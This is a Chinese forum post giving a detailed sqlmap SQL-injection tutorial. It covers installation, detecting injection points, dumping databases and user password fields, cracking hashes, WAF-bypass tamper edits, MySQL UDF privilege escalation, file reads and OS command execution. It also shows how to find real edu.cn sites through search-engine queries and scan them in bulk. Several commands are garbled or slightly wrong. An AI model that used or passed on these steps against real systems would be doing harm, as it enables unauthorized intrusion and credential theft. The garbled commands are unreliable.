IE盒子

搜索
查看: 105|回复: 0

【2023最新版】超详细Sqlmap安装保姆级教程,SQL注入 ...

[复制链接]

3

主题

7

帖子

13

积分

新手上路

Rank: 1

积分
13
发表于 2023-3-5 06:38:15 | 显示全部楼层 |阅读模式
一、sqlmap简介
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等
Sqlmap采用了以下5种独特的SQL注入技术

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询注入,在可以使用Union的情况下注入
  • 堆查询注入,可以同时执行多条语句时的注入
Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。
sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!
常用指令

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
二、安装

1、安装git
    apt-get install git
2、克隆sqlmap
    git clone git://http://github.com/sqlmapproject/sqlmap.git



3、测试sqlmap是否正常工作,前提要安装python2:apt install python2
     cd sqlmap/
./sqlmap.py -h




查看sqlmap的命令字帮助手册
-u  "url"       #检测注入点
三、实际利用

检测和利用SQL注入

1.手工判断是否存在漏洞
对动态网页进行安全审计,通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。
原始网页:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
构造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
构造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。

2. sqlmap自动检测
检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“--batch”命令来自动答复和判断。

3. 寻找和判断实例
通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为http://edu.cn,如图1所示。随机打开一个网页搜索结果,如图所示,如果能够正常访问,则复制该URL地址



搜索目标



测试网页能否正常访问
  将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞



检测URL地址是否存在漏洞
4. 批量检测
将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下



批量整理目标地址

直接连接数据库
sqlmap.py -d"mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs--users
数据库相关操作

1.列数据库信息:--dbs
2.web当前使用的数据库--current-db
3.web数据库使用账户--current-user
4.列出sqlserver所有用户 --users
5.数据库账户与密码 --passwords
6.指定库名列出所有表  -D database --tables
-D:指定数据库名称
7.指定库名表名列出所有字段 -D antian365-T admin --columns
-T:指定要列出字段的表
8.指定库名表名字段dump出指定字段
-D secbang_com -T admin -C  id,password ,username --dump
-D antian365 -T userb -C"email,Username,userpassword" --dump
  可加双引号,也可不加双引号。
9.导出多少条数据
-D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump
参数:
--start:指定开始的行
--stop:指定结束的行
此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容



四、SQLMAP实用技巧

1. mysql的注释方法进行绕过WAF进行SQL注入

(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,"/*!0%s" % word) 为:
return match.group().replace(word,"/*!50000%s*/" % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
<cast query="CAST(%s ASCHAR)"/>为:
<castquery="convert(%s,CHAR)"/>
(3)使用sqlmap进行注入测试
sqlmap.py -u"http://**.com/detail.php? id=16" –tamper "halfversionedmorekeywords.py"
其它绕过waf脚本方法:
sqlmap.py-u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目录下文件具体含义:
space2comment.py用/**/代替空格2. URL重写SQL注入测试


value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。
sqlmap.py -u"http://targeturl/param1/value1*/param2/value2/"
3. 列举并破解密码哈希值

  当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v1
4. 获取表中的数据个数

sqlmap.py -u"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb
5.对网站http://secbang.com进行漏洞爬去

sqlmap.py -u "http://www.secbang.com"--batch --crawl=3
6.基于布尔SQL注入预估时间

sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1"-b --eta
7.使用hex避免字符编码导致数据丢失

sqlmap.py -u "http://192.168.48.130/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
8.模拟测试手机环境站点

python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile
9.智能判断测试

sqlmap.py -u "http://www.antian365.com/info.php?id=1"--batch --smart
10.结合burpsuite进行注入

(1)burpsuite抓包,需要设置burpsuite记录请求日志
sqlmap.py -r burpsuite抓包.txt
(2)指定表单注入
sqlmap.py -u URL --data“username=a&password=a”
11.sqlmap自动填写表单注入

自动填写表单:
sqlmap.py -u URL --forms
12.读取linux下文件

sqlmap.py-u "url" --file /etc/password
13.延时注入

sqlmap.py -u URL --technique -T--current-user
14. sqlmap 结合burpsuite进行post注入

结合burpsuite来使用sqlmap:
(1)浏览器打开目标地址http://www.antian365.com
(2)配置burp代理(127.0.0.1:8080)以拦截请求
(3)点击登录表单的submit按钮
(4)Burp会拦截到了我们的登录POST请求
(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下
(6)运行sqlmap并使用如下命令:
./sqlmap.py -r post.txt -p tfUPass15.sqlmap cookies注入

sqlmap.py -u "http://127.0.0.1/base.PHP"–cookies "id=1"  –dbs –level 2
默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:
sqlmap.py -u 注入点URL --cookie"id=xx" --level 3 16.mysql提权

(1)连接mysql数据打开一个交互shell:
sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --sql-shell(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:
sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll17.执行shell命令

sqlmap.py -u "url" –os-cmd="netuser" /*执行net user命令*/18.延时注入
sqlmap –dbs -u"url" –delay 0.5 /*延时0.5秒*/
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表